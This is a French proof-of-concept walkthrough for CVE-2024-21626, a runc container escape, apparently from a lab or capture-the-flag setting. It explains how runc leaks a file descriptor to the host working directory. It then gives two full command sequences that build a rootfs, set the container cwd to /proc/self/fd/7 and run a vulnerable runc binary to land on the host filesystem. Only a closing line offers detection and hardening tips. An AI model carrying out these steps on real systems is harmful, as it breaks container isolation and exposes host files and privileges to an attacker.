
PoC pour CVE-2024-21626 : runc divulgue un fd interne référençant le CWD de l'hôte avant pivot_root, permettant une évasion de conteneur en définissant process.cwd sur /proc/self/fd/7
| Champ | Détail |
|---|---|
| CVE | CVE-2024-21626 |
| Composant affecté | runc ≤ 1.1.11 |
| Classe de vulnérabilité | Échappement de conteneur via fuite de descripteur de fichier |
| Surnom | Leaky Vessels |
runc fait fuir un descripteur de fichier interne (généralement fd/7) pointant vers le répertoire de travail du système de fichiers hôte avant d'exécuter le processus du conteneur. En définissant le cwd du conteneur dans config.json sur /proc/self/fd/7, le processus atterrit dans un répertoire hôte plutôt que dans le rootfs du conteneur — réalisant ainsi un échappement de conteneur.
Construisez un rootfs minimal en copiant directement les binaires depuis l'hôte :
# 1. Créer la structure de répertoires
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copier les binaires et les bibliothèques nécessaires
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Générer la configuration OCI par défaut
runc spec
# 4. Modifier le cwd dans config.json pour pointer vers le fd hôte fui
# Remplacer : "cwd": "/"
# Par : "cwd": "/proc/self/fd/7"
vi config.json
# 5. Exécuter le conteneur avec le binaire runc vulnérable
sudo /opt/debug --log /tmp/log.json run strikontainer
Ce qui se passe : runc ouvre fd/7 référençant le répertoire de travail courant de l'hôte avant de pivoter vers le rootfs du conteneur. Définir cwd sur /proc/self/fd/7 fait que runc exécute chdir() vers le chemin hôte plutôt que vers le conteneur — vous plaçant sur le véritable système de fichiers.
Si vous avez besoin d'un environnement plus complet ou si l'hôte dispose de binaires limités :
# --- Sur votre machine d'attaque ---
# Exporter un système de fichiers Alpine minimal
docker export $(docker create alpine:latest) > alpine.tar
# Transférer alpine.tar vers la cible, puis :
# --- Sur la cible ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Générer la configuration du bundle OCI
runc spec
# Modifier le cwd (comme dans la méthode 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Exécuter
sudo /opt/debug --log /tmp/log.json run strikontainer
openat() sur /proc/self/fd/ dans les configurations cwd du conteneur ; alertez sur les bundles OCI dont le cwd contient /proc/self/fd/proc ; envisagez les conteneurs rootless ou gVisor/Kata pour un isolement plus fort